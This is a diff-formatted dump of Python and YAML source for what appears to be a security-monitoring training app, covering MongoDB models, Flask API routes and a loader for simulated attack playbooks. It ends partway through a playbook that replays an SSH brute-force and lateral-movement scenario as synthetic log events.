def top_sources(cls, limit: int = settings.TOP_SOURCES_LIMIT) -> list[dict[str, Any]]:
|
||||
"""
|
||||
Return the most frequent source IPs
|
||||
"""
|
||||
pipeline = [
|
||||
{
|
||||
"$match": {
|
||||
"source_ip": {
|
||||
"$ne": None
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"$group": {
|
||||
"_id": "$source_ip",
|
||||
"count": {
|
||||
"$sum": 1
|
||||
},
|
||||
}
|
||||
},
|
||||
{
|
||||
"$sort": {
|
||||
"count": -1
|
||||
}
|
||||
},
|
||||
{
|
||||
"$limit": limit
|
||||
},
|
||||
{
|
||||
"$project": {
|
||||
"_id": 0,
|
||||
"source_ip": "$_id",
|
||||
"count": 1,
|
||||
}
|
||||
},
|
||||
]
|
||||
return list(cls.objects.aggregate(pipeline)) # type: ignore[no-untyped-call]
|
||||
|
|
@ -0,0 +1,127 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
ScenarioRun.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
from datetime import datetime, UTC
|
||||
from enum import StrEnum
|
||||
|
||||
from mongoengine import (
|
||||
StringField,
|
||||
DateTimeField,
|
||||
IntField,
|
||||
FloatField,
|
||||
)
|
||||
|
||||
from app.models.Base import BaseDocument
|
||||
|
||||
|
||||
class RunStatus(StrEnum):
|
||||
"""
|
||||
Possible states for a scenario run
|
||||
"""
|
||||
RUNNING = "running"
|
||||
COMPLETED = "completed"
|
||||
STOPPED = "stopped"
|
||||
PAUSED = "paused"
|
||||
ERROR = "error"
|
||||
|
||||
|
||||
DEFAULT_SPEED = 1.0
|
||||
|
||||
|
||||
class ScenarioRun(BaseDocument):
|
||||
"""
|
||||
Tracks a scenario execution with status and event count
|
||||
"""
|
||||
meta: dict[str, Any] = { # noqa: RUF012
|
||||
"collection": "scenario_runs",
|
||||
"ordering": ["-started_at"],
|
||||
}
|
||||
|
||||
scenario_name = StringField(required = True)
|
||||
status = StringField(
|
||||
required = True,
|
||||
default = RunStatus.RUNNING,
|
||||
choices = [s.value for s in RunStatus],
|
||||
)
|
||||
started_at = DateTimeField(
|
||||
default = lambda: datetime.now(UTC),
|
||||
)
|
||||
completed_at = DateTimeField()
|
||||
events_generated = IntField(default = 0)
|
||||
speed = FloatField(default = DEFAULT_SPEED)
|
||||
error_message = StringField()
|
||||
|
||||
@classmethod
|
||||
def start_run(cls, scenario_name: str) -> ScenarioRun:
|
||||
"""
|
||||
Create a new running scenario record
|
||||
"""
|
||||
run = cls(scenario_name = scenario_name)
|
||||
run.save() # type: ignore[no-untyped-call]
|
||||
return run
|
||||
|
||||
@classmethod
|
||||
def get_active_runs(cls) -> list[Any]:
|
||||
"""
|
||||
Return all runs with running or paused status
|
||||
"""
|
||||
return list(cls.objects(status__in = [ # type: ignore[no-untyped-call]
|
||||
RunStatus.RUNNING,
|
||||
RunStatus.PAUSED,
|
||||
]))
|
||||
|
||||
def increment_events(self, count: int = 1) -> None:
|
||||
"""
|
||||
Atomically increment the generated event counter
|
||||
"""
|
||||
self.update(inc__events_generated = count) # type: ignore[no-untyped-call]
|
||||
self.reload() # type: ignore[no-untyped-call]
|
||||
|
||||
def mark_completed(self) -> None:
|
||||
"""
|
||||
Set status to completed with a timestamp
|
||||
"""
|
||||
self.status = RunStatus.COMPLETED
|
||||
self.completed_at = datetime.now(UTC)
|
||||
self.save() # type: ignore[no-untyped-call]
|
||||
|
||||
def mark_stopped(self) -> None:
|
||||
"""
|
||||
Set status to stopped with a timestamp
|
||||
"""
|
||||
self.status = RunStatus.STOPPED
|
||||
self.completed_at = datetime.now(UTC)
|
||||
self.save() # type: ignore[no-untyped-call]
|
||||
|
||||
def mark_paused(self) -> None:
|
||||
"""
|
||||
Set status to paused
|
||||
"""
|
||||
self.status = RunStatus.PAUSED
|
||||
self.save() # type: ignore[no-untyped-call]
|
||||
|
||||
def mark_resumed(self) -> None:
|
||||
"""
|
||||
Set status back to running from paused
|
||||
"""
|
||||
self.status = RunStatus.RUNNING
|
||||
self.save() # type: ignore[no-untyped-call]
|
||||
|
||||
def mark_error(self, message: str) -> None:
|
||||
"""
|
||||
Set status to error with a message
|
||||
"""
|
||||
self.status = RunStatus.ERROR
|
||||
self.error_message = message
|
||||
self.completed_at = datetime.now(UTC)
|
||||
self.save() # type: ignore[no-untyped-call]
|
||||
|
||||
def set_speed(self, speed: float) -> None:
|
||||
"""
|
||||
Update the playback speed multiplier
|
||||
"""
|
||||
self.speed = speed
|
||||
self.save() # type: ignore[no-untyped-call]
|
||||
|
|
@ -0,0 +1,155 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
User.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
from enum import StrEnum
|
||||
|
||||
from mongoengine import (
|
||||
StringField,
|
||||
BooleanField,
|
||||
EmailField,
|
||||
)
|
||||
|
||||
from app.config import settings
|
||||
from app.models.Base import BaseDocument
|
||||
|
||||
|
||||
class UserRole(StrEnum):
|
||||
"""
|
||||
Available user roles
|
||||
"""
|
||||
ANALYST = "analyst"
|
||||
ADMIN = "admin"
|
||||
|
||||
|
||||
USERNAME_MIN = 3
|
||||
USERNAME_MAX = 32
|
||||
|
||||
|
||||
class User(BaseDocument):
|
||||
"""
|
||||
User document with repository query methods
|
||||
"""
|
||||
meta: dict[str, Any] = {"collection": "users"} # noqa: RUF012
|
||||
|
||||
username = StringField(
|
||||
required = True,
|
||||
unique = True,
|
||||
min_length = USERNAME_MIN,
|
||||
max_length = USERNAME_MAX,
|
||||
)
|
||||
email = EmailField(required = True, unique = True)
|
||||
password_hash = StringField(required = True)
|
||||
role = StringField(
|
||||
required = True,
|
||||
default = UserRole.ANALYST,
|
||||
choices = [r.value for r in UserRole],
|
||||
)
|
||||
is_active = BooleanField(default = True)
|
||||
|
||||
@classmethod
|
||||
def find_by_username(cls, username: str) -> User | None:
|
||||
"""
|
||||
Look up a user by their username
|
||||
"""
|
||||
return cls.objects(username = username).first() # type: ignore[no-untyped-call, no-any-return]
|
||||
|
||||
@classmethod
|
||||
def find_by_email(cls, email: str) -> User | None:
|
||||
"""
|
||||
Look up a user by their email
|
||||
"""
|
||||
return cls.objects(email = email).first() # type: ignore[no-untyped-call, no-any-return]
|
||||
|
||||
@classmethod
|
||||
def username_exists(cls, username: str) -> bool:
|
||||
"""
|
||||
Check if a username is already taken
|
||||
"""
|
||||
return cls.objects(username = username).count() > 0 # type: ignore[no-untyped-call, no-any-return]
|
||||
|
||||
@classmethod
|
||||
def email_exists(cls, email: str) -> bool:
|
||||
"""
|
||||
Check if an email is already registered
|
||||
"""
|
||||
return cls.objects(email = email).count() > 0 # type: ignore[no-untyped-call, no-any-return]
|
||||
|
||||
@classmethod
|
||||
def create_user(
|
||||
cls,
|
||||
username: str,
|
||||
email: str,
|
||||
password_hash: str,
|
||||
role: str = UserRole.ANALYST,
|
||||
) -> User:
|
||||
"""
|
||||
Create and save a new user with a pre hashed password
|
||||
"""
|
||||
user = cls(
|
||||
username = username,
|
||||
email = email,
|
||||
password_hash = password_hash,
|
||||
role = role,
|
||||
)
|
||||
user.save() # type: ignore[no-untyped-call]
|
||||
return user
|
||||
|
||||
@classmethod
|
||||
def list_all(
|
||||
cls,
|
||||
page: int = 1,
|
||||
per_page: int = settings.DEFAULT_PAGE_SIZE,
|
||||
) -> dict[str, Any]:
|
||||
"""
|
||||
Paginated list of all users ordered by creation date
|
||||
"""
|
||||
qs = cls.objects.order_by("-created_at") # type: ignore[attr-defined]
|
||||
return cls.paginate(qs, page, per_page)
|
||||
|
||||
@classmethod
|
||||
def count_admins(cls) -> int:
|
||||
"""
|
||||
Count active users with the admin role
|
||||
"""
|
||||
return cls.objects(role = UserRole.ADMIN, is_active = True).count() # type: ignore[no-untyped-call, no-any-return]
|
||||
|
||||
def update_profile(self, **fields: str) -> User:
|
||||
"""
|
||||
Update mutable profile fields and save
|
||||
"""
|
||||
allowed = {"username", "email", "password_hash"}
|
||||
for key, value in fields.items():
|
||||
if key in allowed and value is not None:
|
||||
setattr(self, key, value)
|
||||
self.save() # type: ignore[no-untyped-call]
|
||||
return self
|
||||
|
||||
def set_role(self, role: str) -> None:
|
||||
"""
|
||||
Change the user role and persist
|
||||
"""
|
||||
self.role = role
|
||||
self.save() # type: ignore[no-untyped-call]
|
||||
|
||||
def deactivate(self) -> None:
|
||||
"""
|
||||
Soft-delete by marking the account inactive
|
||||
"""
|
||||
self.is_active = False
|
||||
self.save() # type: ignore[no-untyped-call]
|
||||
|
||||
def activate(self) -> None:
|
||||
"""
|
||||
Re-enable a previously deactivated account
|
||||
"""
|
||||
self.is_active = True
|
||||
self.save() # type: ignore[no-untyped-call]
|
||||
|
||||
def hard_delete(self) -> None:
|
||||
"""
|
||||
Permanently remove the user document
|
||||
"""
|
||||
self.delete() # type: ignore[no-untyped-call]
|
||||
|
|
@ -0,0 +1,4 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
__init__.py
|
||||
"""
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
__init__.py
|
||||
"""
|
||||
|
||||
from flask import Flask
|
||||
|
||||
|
||||
API_PREFIX = "/v1"
|
||||
|
||||
|
||||
def register_blueprints(app: Flask) -> None:
|
||||
"""
|
||||
Register all route blueprints under the API version
|
||||
"""
|
||||
from app.routes.auth import auth_bp
|
||||
from app.routes.admin import admin_bp
|
||||
from app.routes.dashboard import dashboard_bp
|
||||
from app.routes.logs import logs_bp
|
||||
from app.routes.alerts import alerts_bp
|
||||
from app.routes.rules import rules_bp
|
||||
from app.routes.scenarios import scenarios_bp
|
||||
|
||||
app.register_blueprint(auth_bp, url_prefix = f"{API_PREFIX}/auth")
|
||||
app.register_blueprint(admin_bp, url_prefix = f"{API_PREFIX}/admin")
|
||||
app.register_blueprint(dashboard_bp, url_prefix = f"{API_PREFIX}/dashboard")
|
||||
app.register_blueprint(logs_bp, url_prefix = f"{API_PREFIX}/logs")
|
||||
app.register_blueprint(alerts_bp, url_prefix = f"{API_PREFIX}/alerts")
|
||||
app.register_blueprint(rules_bp, url_prefix = f"{API_PREFIX}/rules")
|
||||
app.register_blueprint(scenarios_bp, url_prefix = f"{API_PREFIX}/scenarios")
|
||||
|
|
@ -0,0 +1,80 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
admin.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
|
||||
from flask import Blueprint
|
||||
|
||||
from app.controllers import admin_ctrl
|
||||
from app.core.decorators import endpoint, S, R
|
||||
from app.models.User import UserRole
|
||||
from app.schemas.admin import AdminUpdateRoleRequest, AdminUserListParams
|
||||
|
||||
|
||||
admin_bp = Blueprint("admin", __name__)
|
||||
|
||||
ADMIN = [UserRole.ADMIN]
|
||||
|
||||
|
||||
@admin_bp.get("/users")
|
||||
@endpoint(roles = ADMIN)
|
||||
@S(AdminUserListParams, source = "query")
|
||||
@R()
|
||||
def list_users() -> Any:
|
||||
"""
|
||||
Paginated list of all user accounts
|
||||
"""
|
||||
return admin_ctrl.list_users()
|
||||
|
||||
|
||||
@admin_bp.get("/users/<user_id>")
|
||||
@endpoint(roles = ADMIN)
|
||||
@R()
|
||||
def get_user(user_id: str) -> Any:
|
||||
"""
|
||||
Retrieve a single user by ID
|
||||
"""
|
||||
return admin_ctrl.get_user(user_id)
|
||||
|
||||
|
||||
@admin_bp.patch("/users/<user_id>/role")
|
||||
@endpoint(roles = ADMIN)
|
||||
@S(AdminUpdateRoleRequest)
|
||||
@R()
|
||||
def update_role(user_id: str) -> Any:
|
||||
"""
|
||||
Change a user's role
|
||||
"""
|
||||
return admin_ctrl.update_role(user_id)
|
||||
|
||||
|
||||
@admin_bp.post("/users/<user_id>/deactivate")
|
||||
@endpoint(roles = ADMIN)
|
||||
@R()
|
||||
def deactivate_user(user_id: str) -> Any:
|
||||
"""
|
||||
Soft-delete a user account
|
||||
"""
|
||||
return admin_ctrl.deactivate_user(user_id)
|
||||
|
||||
|
||||
@admin_bp.post("/users/<user_id>/activate")
|
||||
@endpoint(roles = ADMIN)
|
||||
@R()
|
||||
def activate_user(user_id: str) -> Any:
|
||||
"""
|
||||
Re-enable a deactivated user account
|
||||
"""
|
||||
return admin_ctrl.activate_user(user_id)
|
||||
|
||||
|
||||
@admin_bp.delete("/users/<user_id>")
|
||||
@endpoint(roles = ADMIN)
|
||||
@R()
|
||||
def delete_user(user_id: str) -> Any:
|
||||
"""
|
||||
Permanently remove a user
|
||||
"""
|
||||
return admin_ctrl.delete_user(user_id)
|
||||
|
|
@ -0,0 +1,55 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
alerts.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
|
||||
from flask import Blueprint
|
||||
|
||||
from app.controllers import alert_ctrl
|
||||
from app.core.decorators import endpoint, S, R
|
||||
from app.schemas.alert import AlertStatusUpdate, AlertQueryParams
|
||||
|
||||
alerts_bp = Blueprint("alerts", __name__)
|
||||
|
||||
|
||||
@alerts_bp.get("")
|
||||
@endpoint()
|
||||
@S(AlertQueryParams, source="query")
|
||||
@R()
|
||||
def list_alerts() -> Any:
|
||||
"""
|
||||
Return paginated and filtered alerts
|
||||
"""
|
||||
return alert_ctrl.list_alerts()
|
||||
|
||||
|
||||
@alerts_bp.get("/stream")
|
||||
@endpoint()
|
||||
def stream_alerts() -> Any:
|
||||
"""
|
||||
SSE stream of real-time alerts
|
||||
"""
|
||||
return alert_ctrl.stream_alerts()
|
||||
|
||||
|
||||
@alerts_bp.get("/<alert_id>")
|
||||
@endpoint()
|
||||
@R()
|
||||
def get_alert_detail(alert_id: str) -> Any:
|
||||
"""
|
||||
Return an alert with its matched log events
|
||||
"""
|
||||
return alert_ctrl.get_alert_detail(alert_id)
|
||||
|
||||
|
||||
@alerts_bp.patch("/<alert_id>/status")
|
||||
@endpoint()
|
||||
@S(AlertStatusUpdate)
|
||||
@R()
|
||||
def update_alert_status(alert_id: str) -> Any:
|
||||
"""
|
||||
Transition an alert to a new lifecycle status
|
||||
"""
|
||||
return alert_ctrl.update_alert_status(alert_id)
|
||||
|
|
@ -0,0 +1,62 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
auth.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
|
||||
from flask import Blueprint
|
||||
|
||||
from app.controllers import auth_ctrl
|
||||
from app.core.decorators import endpoint, S, R
|
||||
from app.core.rate_limiting import limiter
|
||||
from app.config import settings
|
||||
from app.schemas.auth import RegisterRequest, LoginRequest, UpdateProfileRequest
|
||||
|
||||
|
||||
auth_bp = Blueprint("auth", __name__)
|
||||
|
||||
|
||||
@auth_bp.post("/register")
|
||||
@limiter.limit(settings.RATELIMIT_AUTH)
|
||||
@endpoint(auth_required = False)
|
||||
@S(RegisterRequest)
|
||||
@R(status = 201)
|
||||
def register() -> Any:
|
||||
"""
|
||||
Register a new analyst account
|
||||
"""
|
||||
return auth_ctrl.register()
|
||||
|
||||
|
||||
@auth_bp.post("/login")
|
||||
@limiter.limit(settings.RATELIMIT_AUTH)
|
||||
@endpoint(auth_required = False)
|
||||
@S(LoginRequest)
|
||||
@R()
|
||||
def login() -> Any:
|
||||
"""
|
||||
Authenticate and return a JWT
|
||||
"""
|
||||
return auth_ctrl.login()
|
||||
|
||||
|
||||
@auth_bp.patch("/me")
|
||||
@endpoint()
|
||||
@S(UpdateProfileRequest)
|
||||
@R()
|
||||
def update_profile() -> Any:
|
||||
"""
|
||||
Update the authenticated user's own profile
|
||||
"""
|
||||
return auth_ctrl.update_profile()
|
||||
|
||||
|
||||
@auth_bp.get("/me")
|
||||
@endpoint()
|
||||
@R()
|
||||
def me() -> Any:
|
||||
"""
|
||||
Return the current authenticated user profile
|
||||
"""
|
||||
return auth_ctrl.me()
|
||||
|
|
@ -0,0 +1,56 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
dashboard.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
|
||||
from flask import Blueprint
|
||||
|
||||
from app.controllers import dashboard_ctrl
|
||||
from app.core.decorators import endpoint, S, R
|
||||
from app.schemas.dashboard import TimelineParams, TopSourcesParams
|
||||
|
||||
dashboard_bp = Blueprint("dashboard", __name__)
|
||||
|
||||
|
||||
@dashboard_bp.get("")
|
||||
@endpoint()
|
||||
@R()
|
||||
def overview() -> Any:
|
||||
"""
|
||||
Return combined dashboard statistics
|
||||
"""
|
||||
return dashboard_ctrl.overview()
|
||||
|
||||
|
||||
@dashboard_bp.get("/timeline")
|
||||
@endpoint()
|
||||
@S(TimelineParams, source="query")
|
||||
@R()
|
||||
def timeline() -> Any:
|
||||
"""
|
||||
Return event counts bucketed over a time window
|
||||
"""
|
||||
return dashboard_ctrl.timeline()
|
||||
|
||||
|
||||
@dashboard_bp.get("/severity-breakdown")
|
||||
@endpoint()
|
||||
@R()
|
||||
def severity_breakdown() -> Any:
|
||||
"""
|
||||
Return event counts grouped by severity level
|
||||
"""
|
||||
return dashboard_ctrl.severity_breakdown()
|
||||
|
||||
|
||||
@dashboard_bp.get("/top-sources")
|
||||
@endpoint()
|
||||
@S(TopSourcesParams, source="query")
|
||||
@R()
|
||||
def top_sources() -> Any:
|
||||
"""
|
||||
Return the most frequent source IPs
|
||||
"""
|
||||
return dashboard_ctrl.top_sources()
|
||||
|
|
@ -0,0 +1,83 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
logs.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
|
||||
from flask import Blueprint
|
||||
|
||||
from app.controllers import log_ctrl
|
||||
from app.core.decorators import endpoint, S, R
|
||||
from app.schemas.log_event import (
|
||||
LogIngestRequest,
|
||||
LogQueryParams,
|
||||
LogSearchParams,
|
||||
PivotParams,
|
||||
)
|
||||
|
||||
|
||||
logs_bp = Blueprint("logs", __name__)
|
||||
|
||||
|
||||
@logs_bp.get("")
|
||||
@endpoint()
|
||||
@S(LogQueryParams, source = "query")
|
||||
@R()
|
||||
def list_logs() -> Any:
|
||||
"""
|
||||
Return paginated and filtered log events
|
||||
"""
|
||||
return log_ctrl.list_logs()
|
||||
|
||||
|
||||
@logs_bp.get("/<log_id>")
|
||||
@endpoint()
|
||||
@R()
|
||||
def get_log(log_id: str) -> Any:
|
||||
"""
|
||||
Return a single log event by ID
|
||||
"""
|
||||
return log_ctrl.get_log(log_id)
|
||||
|
||||
|
||||
@logs_bp.post("/ingest")
|
||||
@endpoint(auth_required = False)
|
||||
@S(LogIngestRequest)
|
||||
@R(status = 201)
|
||||
def ingest_log() -> Any:
|
||||
"""
|
||||
Ingest a raw log event into the pipeline
|
||||
"""
|
||||
return log_ctrl.ingest_log()
|
||||
|
||||
|
||||
@logs_bp.get("/search")
|
||||
@endpoint()
|
||||
@S(LogSearchParams, source = "query")
|
||||
@R()
|
||||
def search_logs() -> Any:
|
||||
"""
|
||||
Full text search across log events
|
||||
"""
|
||||
return log_ctrl.search_logs()
|
||||
|
||||
|
||||
@logs_bp.get("/stream")
|
||||
@endpoint()
|
||||
def stream_logs() -> Any:
|
||||
"""
|
||||
SSE stream of real-time log events
|
||||
"""
|
||||
return log_ctrl.stream_logs()
|
||||
|
||||
|
||||
@logs_bp.get("/pivot")
|
||||
@endpoint()
|
||||
@S(PivotParams, source = "query")
|
||||
@R()
|
||||
def pivot() -> Any:
|
||||
"""
|
||||
Forensic pivot by IP, username, or hostname
|
||||
"""
|
||||
return log_ctrl.pivot()
|
||||
|
|
@ -0,0 +1,81 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
rules.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
|
||||
from flask import Blueprint
|
||||
|
||||
from app.controllers import rule_ctrl
|
||||
from app.core.decorators import endpoint, S, R
|
||||
from app.schemas.rule import (
|
||||
RuleCreateRequest,
|
||||
RuleUpdateRequest,
|
||||
RuleTestRequest,
|
||||
)
|
||||
|
||||
rules_bp = Blueprint("rules", __name__)
|
||||
|
||||
|
||||
@rules_bp.get("")
|
||||
@endpoint()
|
||||
@R()
|
||||
def list_rules() -> Any:
|
||||
"""
|
||||
Return all correlation rules
|
||||
"""
|
||||
return rule_ctrl.list_rules()
|
||||
|
||||
|
||||
@rules_bp.post("")
|
||||
@endpoint()
|
||||
@S(RuleCreateRequest)
|
||||
@R(status=201)
|
||||
def create_rule() -> Any:
|
||||
"""
|
||||
Create a new correlation rule
|
||||
"""
|
||||
return rule_ctrl.create_rule()
|
||||
|
||||
|
||||
@rules_bp.get("/<rule_id>")
|
||||
@endpoint()
|
||||
@R()
|
||||
def get_rule(rule_id: str) -> Any:
|
||||
"""
|
||||
Return a single correlation rule by ID
|
||||
"""
|
||||
return rule_ctrl.get_rule(rule_id)
|
||||
|
||||
|
||||
@rules_bp.patch("/<rule_id>")
|
||||
@endpoint()
|
||||
@S(RuleUpdateRequest)
|
||||
@R()
|
||||
def update_rule(rule_id: str) -> Any:
|
||||
"""
|
||||
Partially update a correlation rule
|
||||
"""
|
||||
return rule_ctrl.update_rule(rule_id)
|
||||
|
||||
|
||||
@rules_bp.delete("/<rule_id>")
|
||||
@endpoint()
|
||||
@R()
|
||||
def delete_rule(rule_id: str) -> Any:
|
||||
"""
|
||||
Delete a correlation rule
|
||||
"""
|
||||
return rule_ctrl.delete_rule(rule_id)
|
||||
|
||||
|
||||
@rules_bp.post("/<rule_id>/test")
|
||||
@endpoint()
|
||||
@S(RuleTestRequest)
|
||||
@R()
|
||||
def test_rule(rule_id: str) -> Any:
|
||||
"""
|
||||
Test a rule against historical log events
|
||||
"""
|
||||
return rule_ctrl.test_rule(rule_id)
|
||||
|
|
@ -0,0 +1,87 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
scenarios.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
|
||||
from flask import Blueprint
|
||||
|
||||
from app.controllers import scenario_ctrl
|
||||
from app.core.decorators import endpoint, S, R
|
||||
from app.schemas.scenario import ScenarioStartRequest, SpeedRequest
|
||||
|
||||
|
||||
scenarios_bp = Blueprint("scenarios", __name__)
|
||||
|
||||
|
||||
@scenarios_bp.get("/available")
|
||||
@endpoint()
|
||||
@R()
|
||||
def list_available() -> Any:
|
||||
"""
|
||||
Return metadata for all available playbooks
|
||||
"""
|
||||
return scenario_ctrl.list_available()
|
||||
|
||||
|
||||
@scenarios_bp.get("/running")
|
||||
@endpoint()
|
||||
@R()
|
||||
def list_running() -> Any:
|
||||
"""
|
||||
Return all active scenario runs
|
||||
"""
|
||||
return scenario_ctrl.list_running()
|
||||
|
||||
|
||||
@scenarios_bp.post("/start")
|
||||
@endpoint()
|
||||
@S(ScenarioStartRequest)
|
||||
@R(status = 201)
|
||||
def start_scenario() -> Any:
|
||||
"""
|
||||
Start a new scenario from a playbook file
|
||||
"""
|
||||
return scenario_ctrl.start_scenario()
|
||||
|
||||
|
||||
@scenarios_bp.post("/<run_id>/stop")
|
||||
@endpoint()
|
||||
@R()
|
||||
def stop_scenario(run_id: str) -> Any:
|
||||
"""
|
||||
Stop an active scenario run
|
||||
"""
|
||||
return scenario_ctrl.stop_scenario(run_id)
|
||||
|
||||
|
||||
@scenarios_bp.post("/<run_id>/pause")
|
||||
@endpoint()
|
||||
@R()
|
||||
def pause_scenario(run_id: str) -> Any:
|
||||
"""
|
||||
Pause an active scenario run
|
||||
"""
|
||||
return scenario_ctrl.pause_scenario(run_id)
|
||||
|
||||
|
||||
@scenarios_bp.post("/<run_id>/resume")
|
||||
@endpoint()
|
||||
@R()
|
||||
def resume_scenario(run_id: str) -> Any:
|
||||
"""
|
||||
Resume a paused scenario run
|
||||
"""
|
||||
return scenario_ctrl.resume_scenario(run_id)
|
||||
|
||||
|
||||
@scenarios_bp.put("/<run_id>/speed")
|
||||
@endpoint()
|
||||
@S(SpeedRequest)
|
||||
@R()
|
||||
def set_speed(run_id: str) -> Any:
|
||||
"""
|
||||
Adjust playback speed of an active scenario
|
||||
"""
|
||||
return scenario_ctrl.set_speed(run_id)
|
||||
|
|
@ -0,0 +1,4 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
__init__.py
|
||||
"""
|
||||
|
|
@ -0,0 +1,130 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
playbook.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
from pathlib import Path
|
||||
from dataclasses import dataclass, field
|
||||
|
||||
import yaml
|
||||
|
||||
from app.config import settings
|
||||
|
||||
|
||||
@dataclass
|
||||
class PlaybookEvent:
|
||||
"""
|
||||
A single event within a playbook timeline
|
||||
"""
|
||||
delay_seconds: float
|
||||
source_type: str
|
||||
event_type: str
|
||||
source_ip: str | None = None
|
||||
dest_ip: str | None = None
|
||||
source_port: int | None = None
|
||||
dest_port: int | None = None
|
||||
hostname: str | None = None
|
||||
username: str | None = None
|
||||
mitre_tactic: str | None = None
|
||||
mitre_technique: str | None = None
|
||||
message: str | None = None
|
||||
metadata: dict[str, Any] = field(default_factory = dict)
|
||||
extra: dict[str, Any] = field(default_factory = dict)
|
||||
|
||||
|
||||
@dataclass
|
||||
class Playbook:
|
||||
"""
|
||||
A loaded attack scenario with metadata and ordered events
|
||||
"""
|
||||
name: str
|
||||
description: str
|
||||
mitre_tactics: list[str]
|
||||
mitre_techniques: list[str]
|
||||
events: list[PlaybookEvent]
|
||||
|
||||
@classmethod
|
||||
def load(cls, yaml_path: str | Path) -> Playbook:
|
||||
"""
|
||||
Parse a YAML playbook file into a Playbook instance
|
||||
"""
|
||||
path = Path(yaml_path)
|
||||
with path.open() as f:
|
||||
data = yaml.safe_load(f)
|
||||
|
||||
events = []
|
||||
for ev in data.get("events", []):
|
||||
delay = ev.pop("delay_seconds", 0)
|
||||
source_type = ev.pop("source_type", "generic")
|
||||
event_type = ev.pop("event_type", "")
|
||||
events.append(
|
||||
PlaybookEvent(
|
||||
delay_seconds = delay,
|
||||
source_type = source_type,
|
||||
event_type = event_type,
|
||||
source_ip = ev.pop("source_ip",
|
||||
None),
|
||||
dest_ip = ev.pop("dest_ip",
|
||||
None),
|
||||
source_port = ev.pop("source_port",
|
||||
None),
|
||||
dest_port = ev.pop("dest_port",
|
||||
None),
|
||||
hostname = ev.pop("hostname",
|
||||
None),
|
||||
username = ev.pop("username",
|
||||
None),
|
||||
mitre_tactic = ev.pop("mitre_tactic",
|
||||
None),
|
||||
mitre_technique = ev.pop("mitre_technique",
|
||||
None),
|
||||
message = ev.pop("message",
|
||||
None),
|
||||
metadata = ev.pop("metadata",
|
||||
{}),
|
||||
extra = ev,
|
||||
)
|
||||
)
|
||||
|
||||
return cls(
|
||||
name = data.get("name",
|
||||
path.stem),
|
||||
description = data.get("description",
|
||||
""),
|
||||
mitre_tactics = data.get("mitre_tactics",
|
||||
[]),
|
||||
mitre_techniques = data.get("mitre_techniques",
|
||||
[]),
|
||||
events = events,
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def list_available(cls) -> list[dict[str, Any]]:
|
||||
"""
|
||||
Scan the playbooks directory and return metadata for each
|
||||
"""
|
||||
playbook_dir = Path(settings.SCENARIO_PLAYBOOK_DIR)
|
||||
if not playbook_dir.exists():
|
||||
return []
|
||||
|
||||
available = []
|
||||
for yml_file in sorted(playbook_dir.glob("*.yml")):
|
||||
with yml_file.open() as f:
|
||||
data = yaml.safe_load(f)
|
||||
available.append(
|
||||
{
|
||||
"filename": yml_file.name,
|
||||
"name": data.get("name",
|
||||
yml_file.stem),
|
||||
"description": data.get("description",
|
||||
""),
|
||||
"mitre_tactics": data.get("mitre_tactics",
|
||||
[]),
|
||||
"mitre_techniques": data.get("mitre_techniques",
|
||||
[]),
|
||||
"event_count": len(data.get("events",
|
||||
[])),
|
||||
}
|
||||
)
|
||||
return available
|
||||
|
|
@ -0,0 +1,446 @@
|
|||
# ©AngelaMos | 2026
|
||||
# brute_force_lateral.yml
|
||||
|
||||
name: Brute Force with Lateral Movement
|
||||
description: >
|
||||
Simulates an external attacker brute-forcing SSH credentials on a
|
||||
perimeter host, gaining access, then moving laterally to internal
|
||||
servers using stolen credentials. Maps to MITRE ATT&CK Initial
|
||||
Access and Lateral Movement tactics.
|
||||
|
||||
mitre_tactics:
|
||||
- TA0001
|
||||
- TA0008
|
||||
mitre_techniques:
|
||||
- T1110.001
|
||||
- T1021.004
|
||||
|
||||
events:
|
||||
- delay_seconds: 0.5
|
||||
source_type: firewall
|
||||
event_type: connection_allowed
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
source_port: 48201
|
||||
dest_port: 22
|
||||
hostname: fw-edge-01
|
||||
message: Inbound SSH connection allowed
|
||||
action: allow
|
||||
protocol: tcp
|
||||
rule_name: ssh-management
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.3
|
||||
source_type: auth
|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: admin
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.2
|
||||
source_type: auth
|
||||
event_type: login_failure
|
||||
source_ip: 203.0.113.42
|
||||
dest_ip: 10.1.1.50
|
||||
hostname: bastion-01
|
||||
username: root
|
||||
message: Failed SSH login attempt
|
||||
auth_method: password
|
||||
result: failure
|
||||
failure_reason: invalid_password
|
||||
service: sshd
|
||||
mitre_tactic: TA0001
|
||||
mitre_technique: T1110.001
|
||||
|
||||
- delay_seconds: 0.2
|
||||
source_type: auth
